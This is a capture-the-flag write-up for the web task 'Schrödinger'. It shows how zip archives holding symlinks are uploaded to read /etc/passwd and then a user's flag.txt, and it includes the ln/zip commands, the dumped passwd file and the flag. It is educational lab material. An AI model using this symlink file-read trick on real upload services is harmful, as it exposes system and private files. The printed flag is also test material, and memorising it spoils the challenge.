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--- | ||
title: "Schrödinger" | ||
description: "task" | ||
description: "Hey, my digital cat managed to get into my server and I can't get him out." | ||
points: 314 | ||
solves: 250 | ||
author: nobody | ||
date: April 1 2024 | ||
author: Jozef Steinhübl | ||
--- | ||
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yeh' Schrödinger.... it was hard lol | ||
In this task, we need to find `flag.txt` by uploading the zip via the website. | ||
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![schrödinger](https://raw.githubusercontent.com/GerlachSnezka/utctf/main/assets/2024-web-schrodinger.png) | ||
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Since in the task, there's that flag.txt is located in the home folder, it will probably be in `home/<user>/flag.txt` | ||
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Although we don't know the user's name, we can still get it. If you're more proficient with Linux, you know that `/etc/passwd` contains all the users. So we can zip a file that is not a pure file or folder, but a symlink to /etc/passwd. With this, the web will then return the file's content to us. | ||
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```sh | ||
ln -s "/etc/passwd" link | ||
zip -y payload.zip link # use -y to don't save our /etc/passwd | ||
``` | ||
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We'll get: | ||
``` | ||
---------------link--------------- | ||
root:x:0:0:root:/root:/bin/bash | ||
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin | ||
bin:x:2:2:bin:/bin:/usr/sbin/nologin | ||
sys:x:3:3:sys:/dev:/usr/sbin/nologin | ||
sync:x:4:65534:sync:/bin:/bin/sync | ||
games:x:5:60:games:/usr/games:/usr/sbin/nologin | ||
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin | ||
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin | ||
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin | ||
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin | ||
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin | ||
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin | ||
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin | ||
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin | ||
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin | ||
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin | ||
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin | ||
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin | ||
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin | ||
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin | ||
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin | ||
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin | ||
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin | ||
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin | ||
copenhagen:x:1000:1000::/home/copenhagen:/bin/sh | ||
``` | ||
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In the very last line, we see `copenhagen:x:1000:1000:1000::/home/copenhagen:/bin/sh`, indicating that the cat is named `copenhagen` | ||
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We can create symlink again and this time to `/home/copenhagen/flag.txt` | ||
```sh | ||
ln -s "/home/copenhagen/flag.txt" link | ||
zip -y payload.zip link # use -y to don't save our /etc/passwd | ||
``` | ||
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And we get our dream flag: | ||
``` | ||
utflag{No_Observable_Cats_Were_Harmed} | ||
``` |
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